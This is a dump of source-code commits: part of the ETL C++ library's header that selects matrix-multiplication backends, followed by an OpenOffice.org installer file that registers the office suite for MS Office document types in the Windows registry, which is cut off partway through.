gemm_impl::VEC) {\n etl::impl::vec::gevm(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gevm(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for matrix-vector multiplication\n *\/\nstruct mv_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gemv_impl<A, B, C>(etl::dim<0>(a), etl::dim<1>(a));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::mv_mul(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gemv(a, b, c);\n } else if (impl == gemm_impl::VEC) {\n etl::impl::vec::gemv(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gemv(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for Strassen matrix-matrix multiplication\n *\/\nstruct strassen_mm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n etl::impl::standard::strassen_mm_mul(a, b, c);\n }\n};\n\n} \/\/end of namespace detail\n\n} \/\/end of namespace etl\n<commit_msg>Cleanup<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/\/The implementations\n#include \"etl\/impl\/std\/mmul.hpp\"\n#include \"etl\/impl\/std\/strassen_mmul.hpp\"\n#include \"etl\/impl\/blas\/gemm.hpp\"\n#include \"etl\/impl\/vec\/gemm.hpp\"\n#include \"etl\/impl\/cublas\/gemm.hpp\"\n\nnamespace etl {\n\nnamespace detail {\n\n\/*!\n * \\brief Select an implementation of GEMM, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The inner dimension of the multiplication\n * \\param n3 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gemm_impl(const std::size_t n1, const std::size_t n2, const std::size_t n3) {\n cpp_unused(n2);\n\n constexpr bool DMA = all_dma<A, B, C>::value;\n\n \/\/Note since these boolean will be known at compile time, the conditions will be a lot simplified\n constexpr bool blas = is_cblas_enabled;\n constexpr bool cublas = is_cublas_enabled;\n\n if (cublas && DMA) {\n if (n1 * n3 < gemm_cublas_min) {\n if (blas) {\n return gemm_impl::BLAS;\n }\n\n if (n1 * n3 < gemm_std_max) {\n return gemm_impl::STD;\n }\n }\n\n return gemm_impl::CUBLAS;\n } else if (blas && DMA) {\n return gemm_impl::BLAS;\n }\n\n if(vec_enabled && all_vectorizable<vector_mode, A, B, C>::value){\n return gemm_impl::VEC;\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEMM\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The inner dimension of the multiplication\n * \\param n3 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gemm_impl(const std::size_t n1, const std::size_t n2, const std::size_t n3) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n\n auto def = select_default_gemm_impl<A, B, C>(n1, n2, n3);\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gemm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gemm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return def;\n}\n\n\/*!\n * \\brief Select an implementation of GEMV, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gemv_impl(const std::size_t n1, const std::size_t n2) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n using T = value_t<A>;\n\n if(DMA && is_cblas_enabled){\n return gemm_impl::BLAS;\n }\n\n if(all_vectorizable<vector_mode, A, B, C>::value && vec_enabled){\n return gemm_impl::VEC;\n }\n\n if (is_cublas_enabled && is_complex_single_t<T>::value && n1 * n2 > 1000 * 1000) {\n return gemm_impl::CUBLAS;\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEMV\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gemv_impl(const std::size_t n1, const std::size_t n2) {\n static constexpr bool DMA = all_dma<A, B, C>::value;\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return select_default_gemv_impl<A, B, C>(n1, n2);\n}\n\n\/*!\n * \\brief Select an implementation of GEVM, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gevm_impl(const std::size_t n1, const std::size_t n2) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n using T = value_t<A>;\n\n if(DMA && is_cblas_enabled){\n return gemm_impl::BLAS;\n }\n\n if(all_vectorizable<vector_mode, A, B, C>::value && vec_enabled){\n return gemm_impl::VEC;\n }\n\n if (is_cublas_enabled && is_complex_single_t<T>::value && n1 * n2 > 1000 * 1000) {\n return gemm_impl::CUBLAS;\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEVM\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gevm_impl(const std::size_t n1, const std::size_t n2) {\n static constexpr bool DMA = all_dma<A, B, C>::value;\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gevm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gevm_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gevm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gevm_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return select_default_gevm_impl<A, B, C>(n1, n2);\n}\n\n\/*!\n * \\brief Functor for matrix-matrix multiplication\n *\/\nstruct mm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gemm_impl<A, B, C>(etl::dim<0>(a), etl::dim<1>(a), etl::dim<1>(c));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::mm_mul(a, b, c);\n } else if (impl == gemm_impl::VEC) {\n etl::impl::vec::gemm(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gemm(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gemm(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for vector-matrix multiplication\n *\/\nstruct vm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gevm_impl<A, B, C>(etl::dim<0>(b), etl::dim<1>(b));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::vm_mul(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gevm(a, b, c);\n } else if (impl == gemm_impl::VEC) {\n etl::impl::vec::gevm(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gevm(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for matrix-vector multiplication\n *\/\nstruct mv_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gemv_impl<A, B, C>(etl::dim<0>(a), etl::dim<1>(a));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::mv_mul(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gemv(a, b, c);\n } else if (impl == gemm_impl::VEC) {\n etl::impl::vec::gemv(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gemv(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for Strassen matrix-matrix multiplication\n *\/\nstruct strassen_mm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n etl::impl::standard::strassen_mm_mul(a, b, c);\n }\n};\n\n} \/\/end of namespace detail\n\n} \/\/end of namespace etl\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: register.cxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: vg $ $Date: 2006-09-25 13:06:05 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _REGISTER_HXX_\n#include \"register.hxx\"\n#endif\n\n#ifndef _REGISTRYEXCEPTION_HXX_\n#include \"registryexception.hxx\"\n#endif\n\n#ifndef _REGISTRATIONCONTEXTINFORMATION_HXX_\n#include \"registrationcontextinformation.hxx\"\n#endif\n\n#ifndef _USERREGISTRAR_HXX_\n#include \"userregistrar.hxx\"\n#endif\n\n#ifndef _WINDOWSREGISTRY_HXX_\n#include \"windowsregistry.hxx\"\n#endif\n\n#ifndef _STRINGCONVERTER_HXX_\n#include \"stringconverter.hxx\"\n#endif\n\n#ifndef INCLUDED_MSIHELPER_HXX\n#include \"msihelper.hxx\"\n#endif\n\n#pragma warning(push, 1) \/* disable warnings within system headers *\/\n#pragma warning(disable: 4917)\n#include <shlobj.h>\n#pragma warning(pop)\n\n\n#include <assert.h>\n#pragma warning(disable: 4350)\n\ntypedef std::auto_ptr<Registrar> RegistrarPtr;\n\nnamespace \/* private *\/\n{\n RegistrarPtr CreateRegistrar(bool InstallForAllUser, const RegistrationContextInformation& RegCtx)\n {\n RegistrarPtr RegPtr;\n\n if (InstallForAllUser)\n RegPtr = RegistrarPtr(new Registrar(RegCtx));\n else\n RegPtr = RegistrarPtr(new UserRegistrar(RegCtx));\n\n return RegPtr;\n }\n} \/\/ namespace private\n\nbool query_preselect_registration_for_ms_application(MSIHANDLE handle, int Register)\n{\n bool preselect = false;\n\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if (Register & MSWORD)\n preselect = CurrentRegistrar->QueryPreselectMsWordRegistration();\n else if (Register & MSEXCEL)\n preselect = CurrentRegistrar->QueryPreselectMsExcelRegistration();\n else if (Register & MSPOWERPOINT)\n preselect = CurrentRegistrar->QueryPreselectMsPowerPointRegistration();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n return preselect;\n}\n\n\/\/-----------------------------------------\n\/\/ registers StarOffice for MS document\n\/\/ types and as default HTML editor if\n\/\/ specified\n\/\/-----------------------------------------\n\nvoid Register4MsDoc(MSIHANDLE handle, int Register)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if ((Register & MSWORD))\n CurrentRegistrar->RegisterForMsWord();\n\n if ((Register & MSEXCEL))\n CurrentRegistrar->RegisterForMsExcel();\n\n if ((Register & MSPOWERPOINT))\n CurrentRegistrar->RegisterForMsPowerPoint();\n\n if ((Register & HTML_EDITOR))\n CurrentRegistrar->RegisterAsHtmlEditorForInternetExplorer();\n\n if ((Register & DEFAULT_SHELL_HTML_EDITOR))\n {\n CurrentRegistrar->RegisterAsDefaultHtmlEditorForInternetExplorer();\n CurrentRegistrar->RegisterAsDefaultShellHtmlEditor();\n }\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n\n if (Register)\n SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0);\n}\n\nvoid Unregister4MsDoc(MSIHANDLE handle, int Unregister)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if ((Unregister & MSWORD) && CurrentRegistrar->IsRegisteredFor(MSWORD))\n CurrentRegistrar->UnregisterForMsWord();\n\n if ((Unregister & HTML_EDITOR) && CurrentRegistrar->IsRegisteredFor(HTML_EDITOR))\n CurrentRegistrar->UnregisterAsHtmlEditorForInternetExplorer();\n\n if ((Unregister & MSEXCEL) && CurrentRegistrar->IsRegisteredFor(MSEXCEL))\n CurrentRegistrar->UnregisterForMsExcel();\n\n if ((Unregister & MSPOWERPOINT) && CurrentRegistrar->IsRegisteredFor(MSPOWERPOINT))\n CurrentRegistrar->UnregisterForMsPowerPoint();\n\n if ((Unregister & DEFAULT_HTML_EDITOR_FOR_IE) && CurrentRegistrar->IsRegisteredFor(DEFAULT_HTML_EDITOR_FOR_IE))\n CurrentRegistrar->UnregisterAsDefaultHtmlEditorForInternetExplorer();\n\n if ((Unregister & DEFAULT_SHELL_HTML_EDITOR) && CurrentRegistrar->IsRegisteredFor(DEFAULT_SHELL_HTML_EDITOR))\n CurrentRegistrar->UnregisterAsDefaultShellHtmlEditor();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n\n if (Unregister)\n SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0);\n}\n\n\/\/-----------------------------------------\n\/\/ restores the entries for the selected\n\/\/ registry entries\n\/\/ Algorithm:\n\/\/\n\/\/ 1.\n\/\/ Target key exist (e.g. '.doc')\n\/\/ Default value == soffice.?\n\/\/ Backup key != empty\n\/\/ Action: Replace Default value with backup\n\/\/ key\n\/\/\n\/\/ 2.\n\/\/ Target key exist\n\/\/ Default value == soffice.?\n\/\/ Backup key == empty\n\/\/ Action: delete default value\n\/\/\n\/\/ 3.\n\/\/ Target key exist\n\/\/ Default value != soffice.?\n\/\/ Action: nop\n\/\/\n\/\/ 4.\n\/\/ Target key does not exist\n\/\/ Action: nop\n\/\/-----------------------------------------\n\nvoid Unregister4MsDocAll(MSIHANDLE handle)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n CurrentRegistrar->UnregisterAllAndCleanUpRegistry();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n}\n\n\/\/-----------------------------------------\n\/\/ restores lost settings formerly made\n\/\/ with Register4MsDoc\n\/\/-----------------------------------------\n\nvoid RepairRegister4MsDocSettings(MSIHANDLE handle)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n CurrentRegistrar->RepairRegistrationState();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n}\n\nbool IsRegisteredFor(MSIHANDLE handle, int State)\n{\n bool Registered = false;\n\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n Registered = CurrentRegistrar->IsRegisteredFor(State);\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n return Registered;\n}\n\n#define SO60_UNINSTALL_KEY L\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\StarOffice 6.0\"\n#define SO_BACKUP_KEY L\"soffice6.bak\"\n#define REGMSDOCSTATE L\"Reg4MsDocState\"\n#define SOFTWARE_CLASSES L\"Software\\\\Classes\"\n\nint FixReturnRegistrationState(MSIHANDLE handle)\n{\n int registration_state = 0;\n\n try\n {\n WindowsRegistry registry;\n\n RegistryValue rv_regmsdocstate = RegistryValue(\n new RegistryValueImpl(REGMSDOCSTATE, 0));\n\n RegistryKey so_bak_key;\n\n if (IsAllUserInstallation(handle))\n {\n RegistryKey hkcr_key = registry.GetClassesRootKey();\n\n if (hkcr_key->HasSubKey(SO_BACKUP_KEY))\n so_bak_key = hkcr_key->OpenSubKey(SO_BACKUP_KEY);\n else\n so_bak_key = hkcr_key->CreateSubKey(SO_BACKUP_KEY);\n\n if (!so_bak_key->HasValue(REGMSDOCSTATE))\n {\n \/\/ set a defined value\n so_bak_key->SetValue(rv_regmsdocstate);\n\n RegistryKey hklm_key = registry.GetLocalMachineKey();\n\n if (hklm_key->HasSubKey(SO60_UNINSTALL_KEY))\n {\n RegistryKey so_uninst_key =\n hklm_key->OpenSubKey(SO60_UNINSTALL_KEY);\n\n if (so_uninst_key->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_uninst_key, REGMSDOCSTATE);\n }\n }\n }\n else\n {\n RegistryKey hkcu_classes_key =\n registry.GetCurrentUserKey()->OpenSubKey(SOFTWARE_CLASSES);\n\n so_bak_key = hkcu_classes_key->CreateSubKey(SO_BACKUP_KEY);\n\n if (!so_bak_key->HasValue(REGMSDOCSTATE))\n {\n \/\/ set a defined value\n so_bak_key->SetValue(rv_regmsdocstate);\n\n RegistryKey hklm_sftw_classes =\n registry.GetLocalMachineKey()->OpenSubKey(SOFTWARE_CLASSES, false);\n\n RegistryKey so_bak_key_old;\n\n if (hklm_sftw_classes->HasSubKey(SO_BACKUP_KEY))\n {\n so_bak_key_old = hklm_sftw_classes->OpenSubKey(SO_BACKUP_KEY, false);\n\n if (so_bak_key_old->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_bak_key_old, REGMSDOCSTATE);\n }\n else \/\/ try the uninstall key\n {\n RegistryKey hklm_key = registry.GetLocalMachineKey();\n\n if (hklm_key->HasSubKey(SO60_UNINSTALL_KEY))\n {\n RegistryKey so_uninst_key =\n hklm_key->OpenSubKey(SO60_UNINSTALL_KEY);\n\n if (so_uninst_key->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_uninst_key, REGMSDOCSTATE);\n }\n }\n }\n }\n\n rv_regmsdocstate = so_bak_key->GetValue(REGMSDOCSTATE);\n registration_state = rv_regmsdocstate->GetDataAsInt();\n }\n catch(RegistryException&)\n {\n registration_state = 0;\n }\n\n return registration_state;\n}\n\n<commit_msg>INTEGRATION: CWS mingwport06 (1.5.90); FILE MERGED 2007\/08\/24 13:12:57 vg 1.5.90.1: #i75499# pragma is for MSVC<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: register.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: kz $ $Date: 2007-09-06 13:29:29 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _REGISTER_HXX_\n#include \"register.hxx\"\n#endif\n\n#ifndef _REGISTRYEXCEPTION_HXX_\n#include \"registryexception.hxx\"\n#endif\n\n#ifndef _REGISTRATIONCONTEXTINFORMATION_HXX_\n#include \"registrationcontextinformation.hxx\"\n#endif\n\n#ifndef _USERREGISTRAR_HXX_\n#include \"userregistrar.hxx\"\n#endif\n\n#ifndef _WINDOWSREGISTRY_HXX_\n#include \"windowsregistry.hxx\"\n#endif\n\n#ifndef _STRINGCONVERTER_HXX_\n#include \"stringconverter.hxx\"\n#endif\n\n#ifndef INCLUDED_MSIHELPER_HXX\n#include \"msihelper.hxx\"\n#endif\n\n#ifdef _MSC_VER\n#pragma warning(push, 1) \/* disable warnings within system headers *\/\n#pragma warning(disable: 4917)\n#endif\n#include <shlobj.h>\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n\n#include <assert.h>\n#ifdef _MSC_VER\n#pragma warning(disable: 4350)\n#endif\n\ntypedef std::auto_ptr<Registrar> RegistrarPtr;\n\nnamespace \/* private *\/\n{\n RegistrarPtr CreateRegistrar(bool InstallForAllUser, const RegistrationContextInformation& RegCtx)\n {\n RegistrarPtr RegPtr;\n\n if (InstallForAllUser)\n RegPtr = RegistrarPtr(new Registrar(RegCtx));\n else\n RegPtr = RegistrarPtr(new UserRegistrar(RegCtx));\n\n return RegPtr;\n }\n} \/\/ namespace private\n\nbool query_preselect_registration_for_ms_application(MSIHANDLE handle, int Register)\n{\n bool preselect = false;\n\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if (Register & MSWORD)\n preselect = CurrentRegistrar->QueryPreselectMsWordRegistration();\n else if (Register & MSEXCEL)\n preselect = CurrentRegistrar->QueryPreselectMsExcelRegistration();\n else if (Register & MSPOWERPOINT)\n preselect = CurrentRegistrar->QueryPreselectMsPowerPointRegistration();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n return preselect;\n}\n\n\/\/-----------------------------------------\n\/\/ registers StarOffice for MS document\n\/\/ types and as default HTML editor if\n\/\/ specified\n\/\/-----------------------------------------\n\nvoid Register4MsDoc(MSIHANDLE handle, int Register)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if ((Register & MSWORD))\n CurrentRegistrar->RegisterForMsWord();\n\n if ((Register & MSEXCEL))\n CurrentRegistrar->RegisterForMsExcel();\n\n if ((Register & MSPOWERPOINT))\n CurrentRegistrar->RegisterForMsPowerPoint();\n\n if ((Register & HTML_EDITOR))\n CurrentRegistrar->RegisterAsHtmlEditorForInternetExplorer();\n\n if ((Register & DEFAULT_SHELL_HTML_EDITOR))\n {\n CurrentRegistrar->RegisterAsDefaultHtmlEditorForInternetExplorer();\n CurrentRegistrar->RegisterAsDefaultShellHtmlEditor();\n }\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n\n if (Register)\n SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0);\n}\n\nvoid Unregister4MsDoc(MSIHANDLE handle, int Unregister)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n if ((Unregister & MSWORD) && CurrentRegistrar->IsRegisteredFor(MSWORD))\n CurrentRegistrar->UnregisterForMsWord();\n\n if ((Unregister & HTML_EDITOR) && CurrentRegistrar->IsRegisteredFor(HTML_EDITOR))\n CurrentRegistrar->UnregisterAsHtmlEditorForInternetExplorer();\n\n if ((Unregister & MSEXCEL) && CurrentRegistrar->IsRegisteredFor(MSEXCEL))\n CurrentRegistrar->UnregisterForMsExcel();\n\n if ((Unregister & MSPOWERPOINT) && CurrentRegistrar->IsRegisteredFor(MSPOWERPOINT))\n CurrentRegistrar->UnregisterForMsPowerPoint();\n\n if ((Unregister & DEFAULT_HTML_EDITOR_FOR_IE) && CurrentRegistrar->IsRegisteredFor(DEFAULT_HTML_EDITOR_FOR_IE))\n CurrentRegistrar->UnregisterAsDefaultHtmlEditorForInternetExplorer();\n\n if ((Unregister & DEFAULT_SHELL_HTML_EDITOR) && CurrentRegistrar->IsRegisteredFor(DEFAULT_SHELL_HTML_EDITOR))\n CurrentRegistrar->UnregisterAsDefaultShellHtmlEditor();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n\n if (Unregister)\n SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0);\n}\n\n\/\/-----------------------------------------\n\/\/ restores the entries for the selected\n\/\/ registry entries\n\/\/ 